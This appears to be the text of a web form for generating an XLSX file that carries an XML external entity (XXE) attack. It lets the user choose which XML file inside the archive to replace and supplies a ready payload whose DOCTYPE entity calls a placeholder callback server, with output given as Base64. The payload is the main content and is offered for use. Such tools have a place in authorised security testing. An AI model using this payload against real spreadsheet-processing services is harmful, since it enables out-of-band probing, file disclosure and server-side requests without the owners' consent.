XLSX XXE Injection

Injection Point * [Content_Types].xml xl/worksheets/sheet1.xml xl/workbook.xml

Which XML file inside the XLSX archive to replace with your payload.

XML Payload * <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://YOUR-CALLBACK-SERVER/xxe"> ]> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <!-- &xxe; --> </Types>

Complete XML content for the target file. This replaces the entire content of the selected injection point.

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Base64 output